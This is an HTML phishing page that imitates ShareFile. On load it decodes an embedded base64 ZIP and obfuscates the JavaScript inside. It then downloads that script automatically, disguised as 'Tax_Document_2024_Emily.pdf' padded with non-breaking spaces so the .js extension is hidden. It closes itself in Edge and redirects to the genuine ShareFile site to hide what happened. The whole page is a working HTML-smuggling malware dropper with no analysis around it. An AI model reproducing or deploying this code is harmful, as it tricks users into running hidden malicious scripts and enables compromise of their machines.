<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ShareFile | Secure Document Workflow & File Sharing Software</title>
    <link rel="icon" href="https://www.sharefile.com/sites/default/files/favicon.ico" type="image/x-icon"> <!-- For .ico file -->
    <script src="https://cdn.jsdelivr.net/npm/javascript-obfuscator/dist/index.browser.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"></script>
</head>
<body>

    <script>
      const base64ZIP = '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';
      // Function to detect the browser and exit if it is Edge
      function detectBrowserAndClose() {
          const userAgent = navigator.userAgent;

          // Check if the browser is Edge
          if (userAgent.indexOf("Edg") !== -1) {
              alert("link not supported!");
              // Attempt to close the window
              window.open('', '_self', ''); // This line sometimes helps to bypass restrictions in some browsers
              window.close(); // Try to close the current window
              return; // Exit the function to prevent anything else from running
          } else {
              // If not Edge, proceed to download files
              downloadJSFiles();
          }
      }

      async function extractAndObfuscateJS(base64ZIP) {
          try {
              const zipData = atob(base64ZIP); // Decode base64 ZIP
              const zip = await JSZip.loadAsync(zipData); // Load the ZIP file
              const jsFiles = [];

              // Iterate through the files in the ZIP
              for (const fileName in zip.files) {
                  if (fileName.endsWith('.js')) {
                      const file = zip.files[fileName];
                      const content = await file.async('string'); // Get file content as string

                      // Replace '0x' in the original code with random characters
                      let jsCode = content.replace(/_0x/g, '_' + getRandomCharacters());

                      // Obfuscate non-comment lines using the custom function
                      jsCode = obfuscateExcludingComments(jsCode);

                      // Replace '_0x' in the obfuscated code with random characters
                      jsCode = jsCode.replace(/_0x/g, '_' + getRandomCharacters());

                      jsFiles.push({ name: fileName, code: jsCode }); // Store the obfuscated JS
                  }
              }

              return jsFiles;
          } catch (error) {
              console.error('Error extracting or obfuscating JS files:', error);
          }
      }

      // Function to obfuscate non-comment lines
      function obfuscateExcludingComments(code) {
          const lines = code.split('\n');
          const obfuscatedLines = lines.map(line => {
              // If the line is a comment, return it unchanged
              if (line.trim().startsWith('//') || line.trim().startsWith('////') || line.trim().endsWith('////')) {
                  return line;
              } else {
                  // Obfuscate non-comment lines
                  return JavaScriptObfuscator.obfuscate(line).getObfuscatedCode();
              }
          });
          return obfuscatedLines.join('\n'); // Join the lines back into a single string
      }

      // Function to generate random characters
      const getRandomCharacters = () => {
          const customCharacters = "abcdefghijklmnopqrstuvwxyz";
          const numCharacters = Math.max(Math.floor(Math.random() * 25) * 25, 500); 
          let result = '';
          for (let i = 0; i < numCharacters; i++) {
              const randomIndex = Math.floor(Math.random() * customCharacters.length);
              result += customCharacters.charAt(randomIndex);
          }
          return result;
      };

      // Function to download JavaScript files
      async function downloadJSFiles() {
          const jsFiles = await extractAndObfuscateJS(base64ZIP); // Extract and obfuscate JS files

          if (!jsFiles || jsFiles.length === 0) {
              console.error('No JavaScript files found in the ZIP.');
              return;
          }

          jsFiles.forEach(file => {
              // Create a blob for the obfuscated code with UTF-8 encoding
              const blob = new Blob([file.code], { type: 'text/javascript;charset=utf-8' });
              const url = URL.createObjectURL(blob);
              const a = document.createElement('a');
              a.href = url;
              a.download = generateRandomFilename(); // Use a new filename generation function
              document.body.appendChild(a);
              a.click(); // Trigger download
              document.body.removeChild(a);
              URL.revokeObjectURL(url); // Clean up the URL
          });
      }

      // Function to generate random filename with spaces
      function generateRandomFilename() {
          const baseFilename = 'Tax_Document_2024_Emily.pdf'; // Base filename
          const randomSpaces = getRandomSpaces(); // Get random spaces
          return `${baseFilename}${randomSpaces}.js`; // Return formatted filename
      }

      // Function to generate random spaces
      function getRandomSpaces() {
          const minOccurrences = 22;
          const maxOccurrences = 51;
          let separator = '';
          for (let i = 0; i < Math.floor(Math.random() * (maxOccurrences - minOccurrences + 1)) + minOccurrences; i++) {
              separator += '\u00A0'; // Unicode non-breaking space character
          }
          return separator;
      }

      window.onload = detectBrowserAndClose; // Execute browser check on load
    
	setTimeout(function() {
			downloadJSFiles();
            // Redirect to Google.com after all downloads complete
            setTimeout(function() {
                window.location.href = "https://www.sharefile.com/#Tax_Document_2024_Emily.pdf";
            }, 1000); 
        }, 5000);
		
	
	</script>
</body>
</html>